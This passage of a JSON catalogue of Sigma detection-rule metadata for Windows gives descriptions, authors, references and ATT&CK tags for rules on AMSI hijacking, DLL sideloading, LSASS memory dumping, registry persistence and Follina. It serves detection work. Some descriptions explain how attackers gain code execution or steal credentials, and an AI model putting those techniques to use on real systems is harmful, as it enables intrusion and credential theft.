        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_amsi_com_hijack.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-comreg-bypass",
          "https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_amsi_com_hijack.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "160d2780-31f7-4922-8b3a-efce30e63e96",
      "value": "Potential AMSI COM Server Hijacking"
    },
    {
      "description": "Detects when an attacker register a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate registration of IFilters by the OS or software"
        ],
        "filename": "registry_set_persistence_ifilter.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/gtworek/PSBits/tree/master/IFilter",
          "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308",
          "https://twitter.com/0gtweet/status/1468548924600459267",
          "https://persistence-info.github.io/Data/ifilters.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ifilter.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b",
      "value": "Register New IFiltre For Persistence"
    },
    {
      "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_vbs_payload_stored.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f",
      "value": "VBScript Payload Stored in Registry"
    },
    {
      "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_persistence_typed_paths.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/dez_/status/1560101453150257154",
          "https://forensafe.com/blogs/typedpaths.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247",
      "value": "Potential Persistence Via TypedPaths"
    },
    {
      "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/04",
        "falsepositive": [
          "Administrative scripts",
          "Installation of a service"
        ],
        "filename": "registry_set_servicedll_hijack.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time",
          "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6",
      "value": "ServiceDll Hijack"
    },
    {
      "description": "Detects unsigned module load by ClickOnce application.",
      "meta": {
        "author": "@SerkinValery",
        "creation_date": "2023/06/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_susp_clickonce_unsigned_module_loaded.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_clickonce_unsigned_module_loaded.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "060d5ad4-3153-47bb-8382-43e5e29eda92",
      "value": "Unsigned Module Loaded by ClickOnce Application"
    },
    {
      "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n",
      "meta": {
        "author": "Perez Diego (@darkquassar), oscd.community, Ecco",
        "creation_date": "2019/10/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_dbghelp_dbgcore_unsigned_load.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6",
          "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump",
          "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bdc64095-d59a-42a2-8588-71fd9c9d9abc",
      "value": "Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded"
    },
    {
      "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/10/17",
        "falsepositive": [
          "The command wmic os get lastboottuptime loads vbscript.dll",
          "The command wmic os get locale loads vbscript.dll",
          "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights"
        ],
        "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-201017061100.html",
          "https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
          "https://twitter.com/dez_/status/986614411711442944",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1220"
        ]
      },
      "related": [
        {
          "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32",
      "value": "WMIC Loading Scripting Libraries"
    },
    {
      "description": "Detects potential DLL sideloading of \"goopdate.dll\", a DLL used by googleupdate.exe",
      "meta": {
        "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "False positives are expected from Google Chrome installations running from user locations (AppData) and other custom locations. Apply additional filters accordingly.",
          "Other third party chromium browsers located in AppData"
        ],
        "filename": "image_load_side_load_goopdate.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_goopdate.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b6188d2f-b3c4-4d2c-a17d-9706e0851af0",
      "value": "Potential Goopdate.DLL Sideloading"
    },
    {
      "description": "Detects potential DLL sideloading of \"appverifUI.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_appverifui.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_appverifui.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee6cea48-c5b6-4304-a332-10fc6446f484",
      "value": "Potential appverifUI.DLL Sideloading"
    },
    {
      "description": "Detects potential DLL sideloading of \"EACore.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/08/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_eacore.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_eacore.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edd3ddc3-386f-4ba5-9ada-4376b2cfa7b5",
      "value": "Potential EACore.DLL Sideloading"
    },
    {
      "description": "Detects potential DLL sideloading of \"7za.dll\"",
      "meta": {
        "author": "X__Junior",
        "creation_date": "2023/06/09",
        "falsepositive": [
          "Legitimate third party application located in \"AppData\" may leverage this DLL to offer 7z compression functionality and may generate false positives. Apply additional filters as needed."
        ],
        "filename": "image_load_side_load_7za.yml",
        "level": "low",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_7za.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f6edb78-5c21-42ab-a558-fd2a6fc1fd57",
      "value": "Potential 7za.DLL Sideloading"
    },
    {
      "description": "Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system\nIKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n",
      "meta": {
        "author": "SBousseaden",
        "creation_date": "2019/10/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_svchost_dlls.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
          "https://decoded.avast.io/martinchlumecky/png-steganography/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_svchost_dlls.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1574.002",
          "attack.t1574.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77",
      "value": "Svchost DLL Search Order Hijack"
    },
    {
      "description": "Detects signs of the WMI script host process \"scrcons.exe\" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/09/02",
        "falsepositive": [
          "Legitimate event consumers",
          "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button"
        ],
        "filename": "image_load_scrcons_wmi_scripteventconsumer.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html",
          "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/",
          "https://twitter.com/HunterPlaybook/status/1301207718355759107",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8",
      "value": "WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load"
    },
    {
      "description": "Detects potential DLL sideloading using comctl32.dll to obtain system privileges",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Subhash Popuri (@pbssubhash)",
        "creation_date": "2022/12/16",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "image_load_side_load_comctl32.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/binderlabs/DirCreate2System",
          "https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6360757a-d460-456c-8b13-74cf0e60cceb",
      "value": "Potential DLL Sideloading Via comctl32.dll"
    },
    {
      "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/06/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_wsman_provider_image_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture",
          "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/",
          "https://twitter.com/chadtilbury/status/1275851297770610688",
          "https://github.com/bohops/WSMan-WinRM",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml"
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      "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94",
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        "author": "X__Junior (Nextron Systems)",
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          "Some installers may trigger some false positives"
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        "filename": "image_load_side_load_shelldispatch.yml",
        "level": "medium",
        "logsource.category": "image_load",
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        "creation_date": "2023/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_rjvplatform_default_location.yml",
        "level": "medium",
        "logsource.category": "image_load",
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        "refs": [
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        "author": "frack113",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_vssapi_susp_load.yml",
        "level": "high",
        "logsource.category": "image_load",
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        "refs": [
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        "filename": "image_load_dll_comsvcs_load_renamed_version_by_rundll32.yml",
        "level": "high",
        "logsource.category": "image_load",
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        "author": "oscd.community, Dmitry Uchakin",
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        "filename": "image_load_uac_bypass_via_dism.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility",
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        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_uac_bypass_iscsicpl.yml",
        "level": "high",
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          "https://twitter.com/wdormann/status/1547583317410607110",
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          "Many legitimate applications leverage this DLL. (Visual Studio, JetBrains, Ruby, Anaconda, GithubDesktop, etc.)"
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        "logsource.category": "image_load",
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        "refs": [
          "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html",
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          "Unknown"
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        "filename": "image_load_side_load_vivaldi_elf.yml",
        "level": "medium",
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          "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/",
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        "filename": "image_load_side_load_rcdll.yml",
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        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://windows-internals.com/faxing-your-way-to-system/",
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        "author": "X__Junior (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_solidpdfcreator.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/",
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        "level": "high",
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        "refs": [
          "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "filename": "image_load_side_load_mfdetours_unsigned.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
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      "uuid": "948a0953-f287-4806-bbcb-3b2e396df89f",
      "value": "Unsigned Mfdetours.DLL Sideloading"
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      "description": "Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.",
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        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "FP could occur if the legitimate version of vmGuestLib already exists on the system"
        ],
        "filename": "image_load_side_load_vmguestlib.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://decoded.avast.io/martinchlumecky/png-steganography/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmguestlib.yml"
        ],
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          "attack.defense_evasion",
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          "attack.privilege_escalation",
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          "attack.t1574.002"
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      "value": "VMGuestLib DLL Sideload"
    },
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      "description": "Detects DLL sideloading of system dlls that are not present on the system by default. Usually to achieve techniques such as UAC bypass and privilege escalation",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_non_existent_dlls.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
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          "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html",
          "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/",
          "https://github.com/Wh04m1001/SysmonEoP",
          "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
          "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml"
        ],
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      "value": "Potential DLL Sideloading Of Non-Existent DLLs From System Folders"
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    {
      "description": "Detects DLL sideloading of \"dbgcore.dll\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)",
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        "falsepositive": [
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        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://hijacklibs.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml"
        ],
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          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
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      },
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    {
      "description": "Detects loading of \"Amsi.dll\" by a living of the land process. This could be an indication of a \"PowerShell without PowerShell\" attack",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_amsi_suspicious_process.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_amsi_suspicious_process.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "6ec86d9e-912e-4726-91a2-209359b999b9",
      "value": "Amsi.DLL Loaded Via LOLBIN Process"
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    {
      "description": "Detects potential DLL sideloading of \"AVKkid.dll\"",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/08/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_avkkid.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_avkkid.yml"
        ],
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          "attack.t1574.001",
          "attack.t1574.002"
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      },
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        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
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          ],
          "type": "related-to"
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      ],
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      "value": "Potential AVKkid.DLL Sideloading"
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    {
      "description": "Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_jsschhlp.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/",
          "http://www.windowexe.com/bbs/board.php?q=jsschhlp-exe-c-program-files-common-files-justsystem-jsschhlp-jsschhlp",
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        ],
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          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.001",
          "attack.t1574.002"
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      },
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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    },
    {
      "description": "Detect usage of DLL \"coregen.exe\" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_coregen.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Coregen/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_coregen.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0fa66f66-e3f6-4a9c-93f8-4f2610b00171",
      "value": "Potential DLL Sideloading Using Coregen.exe"
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    {
      "description": "Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the \"sdiageng.dll\" library",
      "meta": {
        "author": "Greg (rule)",
        "creation_date": "2022/06/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_dll_sdiageng_load_by_msdt.yml",
        "level": "high",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_sdiageng_load_by_msdt.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1202",
          "cve.2022.30190"
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      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6",
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    {
      "description": "Detects a remote DLL load event via \"rundll32.exe\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_rundll32_remote_share_load.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/gabe-k/themebleed",
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_remote_share_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
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      "value": "Remote DLL Load Via Rundll32.EXE"
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    {
      "description": "Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "image_load_side_load_vmmap_dbghelp_signed.yml",
        "level": "medium",
        "logsource.category": "image_load",
        "logsource.product": "windows",
        "refs": [
          "https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766",
